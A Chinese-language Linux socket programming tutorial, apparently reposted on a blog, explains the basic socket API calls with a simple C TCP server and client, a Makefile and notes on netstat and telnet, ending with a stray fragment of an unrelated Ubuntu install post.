2.1 socket int socket(int domain, int type,int protocol) domain:说明我们网络程序所在的主机采用的通讯协族(AF_UNIX和AF_INET等). AF_UNIX只能够用于单一的Unix 系统进程间通信,而AF_INET是针对Internet的,因而可以允许在远程 主机之间通信(当我们 man socket时发现 domain可选 项是 PF_*而不是AF_*,因为glibc是posix的实现 所以用PF代替了AF,不过我们都可以使用的). type:我们网络程序所采用的通讯协议(SOCK_STREAM,SOCK_DGRAM等) SOCK_STREAM表明我们用的是TCP 协议,这样会提供按顺序的,可靠,双向,面向连接的比特流. SOCK_DGRAM 表明我们用的是UDP协议,这样只会提供定长的,不可靠,无连接的通 信. protocol:由于我们指定了type,所以这个地方我们一般只要用0来代替就可以了 socket为网络通讯做基本的准备.成功时返回文件描述符,失败时返回-1,看errno可知道出错的详细情况. 2.2 bind int bind(int sockfd, struct sockaddr *my_addr, int addrlen) sockfd:是由socket调用返回的文件描述符. addrlen:是sockaddr结构的长度. my_addr:是一个指向sockaddr的指针. 在中有 sockaddr的定义 struct sockaddr{ unisgned short as_family; char sa_data[14]; }; 不过由于系统的兼容性,我们一般不用这个头文件,而使用另外一个结构(struct sockaddr_in) 来代替.在中有sockaddr_in的定义 struct sockaddr_in{ unsigned short sin_family; unsigned short int sin_port; struct in_addr sin_addr; unsigned char sin_zero[8]; 我们主要使用Internet所以sin_family一般为AF_INET,sin_addr设置为INADDR_ANY表示可以 和任何 的主机通信,sin_port是我们要监听的端口号.sin_zero[8]是用来填充的. bind将本地的端口同socket返回的文件描述符捆绑在 一起.成功是返回0,失败的情况和socket一样 2.3 listen int listen(int sockfd,int backlog) sockfd:是bind后的文件描述符. backlog:设置请求排队的最大长度.当有多个客户端程序和服务端相连时, 使用这个表示可以介绍的排队长度. listen函数将bind的文件描述符变为监听套接字.返回的情况和bind一样. 2.4 accept int accept(int sockfd, struct sockaddr *addr,int *addrlen) sockfd:是listen后的文件描述符. addr,addrlen是用来给客户端的程序填写的,服务器端只要传递指针就可以了. bind,listen和accept是服务器端用的函 数,accept调用时,服务器端的程序会一直阻塞到有一个 客户程序发出了连接. accept成功时返回最后的服务器端的文件描述符,这个时候服务器 端可以向该描述符写信息了. 失败时返回-1 2.5 connect int connect(int sockfd, struct sockaddr * serv_addr,int addrlen) sockfd:socket返回的文件描述符. serv_addr:储存了服务器端的连接信息.其中sin_add是服务端的地址 addrlen:serv_addr的长度 connect函数是客户端用来同服务端连接的.成功时返回0,sockfd是同服务端通讯的文件描述符 失败时返回-1. 2.6 实例 服务器端程序 /******* 服务器程序 (server.c) ************/ #include #include #include #include #include #include #include #include int main(int argc, char *argv[]) { int sockfd,new_fd; struct sockaddr_in server_addr; struct sockaddr_in client_addr; int sin_size,portnumber; char hello[]="Hello! Are You Fine?\n"; if(argc!=2) { fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]); exit(1); } if((portnumber=atoi(argv[1]))<0) { fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]); exit(1); } /* 服务器端开始建立socket描述符 */ if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) { fprintf(stderr,"Socket error:%s\n\a",strerror(errno)); exit(1); } /* 服务器端填充 sockaddr结构 */ bzero(&server_addr,sizeof(struct sockaddr_in)); server_addr.sin_family=AF_INET; server_addr.sin_addr.s_addr=htonl(INADDR_ANY); server_addr.sin_port=htons(portnumber); /* 捆绑sockfd描述符 */ if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1) { fprintf(stderr,"Bind error:%s\n\a",strerror(errno)); exit(1); } /* 监听sockfd描述符 */ if(listen(sockfd,5)==-1) { fprintf(stderr,"Listen error:%s\n\a",strerror(errno)); exit(1); } while(1) { /* 服务器阻塞,直到客户程序建立连接 */ sin_size=sizeof(struct sockaddr_in); if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size))==-1) { fprintf(stderr,"Accept error:%s\n\a",strerror(errno)); exit(1); } fprintf(stderr,"Server get connection from %s\n", inet_ntoa(client_addr.sin_addr)); if(write(new_fd,hello,strlen(hello))==-1) { fprintf(stderr,"Write Error:%s\n",strerror(errno)); exit(1); } /* 这个通讯已经结束 */ close(new_fd); /* 循环下一个 */ } close(sockfd); exit(0); } 客户端程序 /******* 客户端程序 client.c ************/ #include #include #include #include #include #include #include #include int main(int argc, char *argv[]) { int sockfd; char buffer[1024]; struct sockaddr_in server_addr; struct hostent *host; int portnumber,nbytes; if(argc!=3) { fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]); exit(1); } if((host=gethostbyname(argv[1]))==NULL) { fprintf(stderr,"Gethostname error\n"); exit(1); } if((portnumber=atoi(argv[2]))<0) { fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]); exit(1); } /* 客户程序开始建立 sockfd描述符 */ if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) { fprintf(stderr,"Socket Error:%s\a\n",strerror(errno)); exit(1); } /* 客户程序填充服务端的资料 */ bzero(&server_addr,sizeof(server_addr)); server_addr.sin_family=AF_INET; server_addr.sin_port=htons(portnumber); server_addr.sin_addr=*((struct in_addr *)host->h_addr); /* 客户程序发起连接请求 */ if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1) { fprintf(stderr,"Connect Error:%s\a\n",strerror(errno)); exit(1); } /* 连接成功了 */ if((nbytes=read(sockfd,buffer,1024))==-1) { fprintf(stderr,"Read Error:%s\n",strerror(errno)); exit(1); } buffer[nbytes]='\0'; printf("I have received:%s\n",buffer); /* 结束通讯 */ close(sockfd); exit(0); } MakeFile 这里我们使用GNU 的make实用程序来编译. 关于make的详细说明见 Make 使用介绍 ######### Makefile ########### all:server client server:server.c gcc $^ -o $@ client:client.c gcc $^ -o $@ 运行make后会产生两个程序server(服务器端)和client(客户端) 先运行./server portnumber& (portnumber随便取一个大于1204且不在/etc/services中出现的号码 就用8888好了),然后运行 ./client localhost 8888 看看有什么结果. (你也可以用telnet和netstat试一试.) 上面是一个最简单的网络程 序,不过是不是也有点烦.上面有许多函数我们还没有解释. 我会在下一章进行的详细的说明. 2.7 总结 总的来说网络程序是由两个部分组成的--客户端和服务器端.它们的建立步骤一般是: 服务器端 socket-->bind-->listen-->accept 客户端 socket-->connect Linux网络编程--1. Linux网络知识介绍
Version 1.0 Sun,2000-8-27
1.1 客户端程序和服务端程序 网络程序和普通的程序有一个最大的区别是网络程序是由两个部分组成的--客户端和服务器端. 网络程序是先有服务器程序启动,等待客户端的程序运行并建立连接.一般的来说是服务端的程序 在一个端口上监听,直到有一个客户端的程序发来了请求. 1.2 常用的命令 由于网络程序是有两个部分组成,所以在调试的时候比较麻烦,为此我们有必要知道一些常用的网络命令 netstat 命令netstat是用来显示网络的连接,路由表和接口统计等网络的信息.netstat有许多的选项 我们常用的选项是 -an 用来显示详细的网络状态.至于其它的选项我们可以使用帮助手册获得详细的情况. telnet telnet是一个用来远程控制的程序,但是我们完全可以用这个程序来调试我们的服务端程序的. 比如我们的服务器程序在监听8888端口,我们可以用telnet localhost 8888来查看服务端的状况. 1.3 TCP/UDP介绍 TCP(Transfer Control Protocol)传输控制协议是一种面向连接的协议,当我们的网络程序使用 这个协议的时候,网络可以保证我们的客户端和服务端的连接是可靠的,安全的. UDP(User Datagram Protocol)用户数据报协议是一种非面向连接的协议,这种协议并不能保证我们 的网络程序的连接是可靠的,所以我们现在编写的程序一般是采用TCP协议的. Linux网络编程常用函数计算机数据存储有两种字节优先顺序:高位字节优先和低位字节优先。Internet上数据以高位字节优先顺 序在网络上传输,所以对于在内部是以低位字节优先方式存储数据的机器,在Internet上传输数据时就需 要进行转换。 我们要讨论的第一个结构类型是:struct sockaddr,该类型是用来保存socket信息的: struct sockaddr { unsigned short sa_family; /* 地址族, AF_xxx */ char sa_data[14]; /* 14 字节的协议地址 */ }; sa_family一般为AF_INET;sa_data则包含该socket的IP地址和端口号。 另外还有一种结构类型: struct sockaddr_in { short int sin_family; /* 地址族 */ unsigned short int sin_port; /* 端口号 */ struct in_addr sin_addr; /* IP地址 */ unsigned char sin_zero[8]; /* 填充0 以保持与struct sockaddr同样大小 */ }; 这个结构使用更为方便。sin_zero(它用来将sockaddr_in结构填充到与struct sockaddr同样的长度)应该用bzero()或memset()函数将其置为零。指向sockaddr_in 的指针和指向sockaddr的指针可以相互转换,这意味着如果一个函数所需参数类型是sockaddr时,你可以在函数调用的时候将一个指向 sockaddr_in的指针转换为指向sockaddr的指针;或者相反。sin_family通常被赋AF_INET;sin_port和 sin_addr应该转换成为网络字节优先顺序;而sin_addr则不需要转换。 我们下面讨论几个字节顺序转换函数: htons()--"Host to Network Short" ; htonl()--"Host to Network Long" ntohs()--"Network to Host Short" ; ntohl()--"Network to Host Long" 在这里, h表示"host" ,n表示"network",s 表示"short",l表示 "long"。 打开socket 描述符、建立绑定并建立连接 socket函数原型为: int socket(int domain, int type, int protocol); domain参数指定socket的类型,一般为AF_INET,type可以是SOCK_STREAM 或SOCK_DGRAM,分别表示TCP连接和UDP连接;protocol通常赋值"0"。Socket()调用返回一个整型socket描述符,你可 以在后面的调用使用它。 一旦通过socket调用返回一个socket描述符,你应该将该socket与你本机上的一个端口相关联(往往当你在设计服务器端程序时需要调用该函数。随后你就可以在该端口监听服务请求;而客户端一般无须调用该函数)。 Bind函数原型为: int bind(int sockfd,struct sockaddr *my_addr, int addrlen); Sockfd是一个socket描述符,my_addr是一个指向包含有本机IP地址及端口号等信息的sockaddr类型的指针;addrlen常被设置为sizeof(struct sockaddr)。 最后,对于bind 函数要说明的一点是,你可以用下面的赋值实现自动获得本机IP地址和随机获取一个没有被占用的端口号: my_addr.sin_port = 0; /* 系统随机选择一个未被使用的端口号 */ my_addr.sin_addr.s_addr = INADDR_ANY; /* 填入本机IP地址 */ 通过将my_addr.sin_port置为0,函数会自动为你选择一个未占用的端口来使用。同样,通过将 my_addr.sin_addr.s_addr置为INADDR_ANY,系统会自动填入本机IP地址。Bind()函数在成功被调用时返回0;遇到错 误时返回"-1"并将errno置为相应的错误号。另外要注意的是,当调用函数时,一般不要将端口号置为小于1024的值,因为1~1024是保留端口号,你可以使用大于1024中任何一个没有被占用的端口号。 Connect()函数用来与远端服务器建立一个TCP连接,其函数原型为: int connect(int sockfd, struct sockaddr *serv_addr, int addrlen); Sockfd是目的服务器的sockt描述符;serv_addr是包含目的机IP地址和端口号的指针。遇到错误时返回-1,并且errno中包含相应 的错误码。进行客户端程序设计无须调用bind(),因为这种情况下只需知道目的机器的IP地址,而客户通过哪个端口与服务器建立连接并不需要关心,内核 会自动选择一个未被占用的端口供客户端来使用。 Listen()——监听是否有服务请求 在服务器端程序中,当socket与某一端口捆绑以后,就需要监听该端口,以便对到达的服务请求加以处理。 int listen(int sockfd, int backlog); Sockfd是Socket系统调用返回的socket 描述符;backlog指定在请求队列中允许的最大请求数,进入的连接请求将在队列中等待accept()它们(参考下文)。Backlog对队列中等待 服务的请求的数目进行了限制,大多数系统缺省值为20。当listen遇到错误时返回-1,errno被置为相应的错误码。 故服务器端程序通常按下列顺序进行函数调用: socket(); bind(); listen(); /* accept() goes here */ accept()——连接端口的服务请求。 当某个客户端试图与服务器监听的端口连接时,该连接请求将排队等待服务器 accept()它。通过调用accept()函数为其建立一个连接,accept()函数将返回一个新的socket描述符,来供这个新连接来使用。而 服务器可以继续在以前的那个 socket上监听,同时可以在新的socket描述符上进行数据send()(发送)和recv()(接收)操作: int accept(int sockfd, void *addr, int *addrlen); sockfd是被监听的socket描述符,addr通常是一个指向sockaddr_in变量的指针,该变量用来存放提出连接请求服务的主机的信息 (某台主机从某个端口发出该请求);addrten通常为一个指向值为sizeof(struct sockaddr_in)的整型指针变量。错误发生时返回一个-1并且设置相应的errno值。 Send()和recv()——数据传输 这两个函数是用于面向连接的socket上进行数据传输。 Send()函数原型为: int send(int sockfd, const void *msg, int len, int flags); Sockfd是你想用来传输数据的socket描述符,msg是一个指向要发送数据的指针。 Len是以字节为单位的数据的长度。flags一般情况下置为0(关于该参数的用法可参照man手册)。 char *msg = "Beej was here!"; int len, bytes_sent; ... ... len = strlen(msg); bytes_sent = send(sockfd, msg,len,0); ... ... Send()函数返回实际上发送出的字节数,可能会少于你希望发送的数据。所以需要对send()的返回值进行测量。当send()返回值与len不匹配时,应该对这种情况进行处理。 recv()函数原型为: int recv(int sockfd,void *buf,int len,unsigned int flags); Sockfd是接受数据的socket描述符;buf 是存放接收数据的缓冲区;len是缓冲的长度。Flags也被置为0。Recv()返回实际上接收的字节数,或当出现错误时,返回-1并置相应的errno值。 Sendto()和recvfrom()——利用数据报方式进行数据传输 在无连接的数据报socket方式下,由于本地socket并没有与远端机器建立连接,所以在发送数据时应指明目的地址,sendto()函数原型为: int sendto(int sockfd, const void *msg,int len,unsigned int flags,const struct sockaddr *to, int tolen); 该函数比send()函数多了两个参数,to表示目地机的IP地址和端口号信息,而tolen常常被赋值为sizeof (struct sockaddr)。Sendto 函数也返回实际发送的数据字节长度或在出现发送错误时返回-1。 Recvfrom()函数原型为: int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct sockaddr *from,int *fromlen); from是一个struct sockaddr类型的变量,该变量保存源机的IP地址及端口号。fromlen常置为sizeof(struct sockaddr)。当recvfrom()返回时,fromlen包含实际存入from中的数据字节数。Recvfrom()函数返回接收到的字节数或 当出现错误时返回-1,并置相应的errno。 应注意的一点是,当你对于数据报socket调用了connect()函数时,你也可以利用send()和recv()进行数据传输,但该socket仍然是数据报socket,并且利用传输层的UDP服务。但在发送或接收数据报时,内核会自动为之加上目地和源地址信息。 Close()和shutdown()——结束数据传输 当所有的数据操作结束以后,你可以调用close()函数来释放该socket,从而停止在该socket上的任何数据操作:close(sockfd); 你也可以调用shutdown()函数来关闭该socket。该函数允许你只停止在某个方向上的数据传输,而一个方向上的数据传输继续进行。如你可以关闭某socket的写操作而允许继续在该socket上接受数据,直至读入所有数据。 int shutdown(int sockfd,int how); Sockfd的含义是显而易见的,而参数 how可以设为下列值: ·0-------不允许继续接收数据 ·1-------不允许继续发送数据 ·2-------不允许继续发送和接收数据,均为允许则调用close () shutdown在操作成功时返回0,在出现错误时返回-1(并置相应errno)。 DNS——域名服务相关函数 由于IP地址难以记忆和读写,所以为了读写记忆方便,人们常常用域名来表示主机,这就需要进行域名和IP地址的转换。函数gethostbyname()就是完成这种转换的,函数原型为: struct hostent *gethostbyname(const char *name); 函数返回一种名为hosten的结构类型,它的定义如下: struct hostent { char *h_name; /* 主机的官方域名 */ char **h_aliases; /* 一个以NULL结尾的主机别名数组 */ int h_addrtype; /* 返回的地址类型,在Internet环境下为AF-INET */ int h_length; /*地址的字节长度 */ char **h_addr_list; /* 一个以0结尾的数组,包含该主机的所有地址*/ }; #define h_addr h_addr_list[0] /*在h-addr-list中的第一个地址*/ 2月18日 谈论 T61 Ubuntu 安装手记
引用 T61 Ubuntu 安装手记 |
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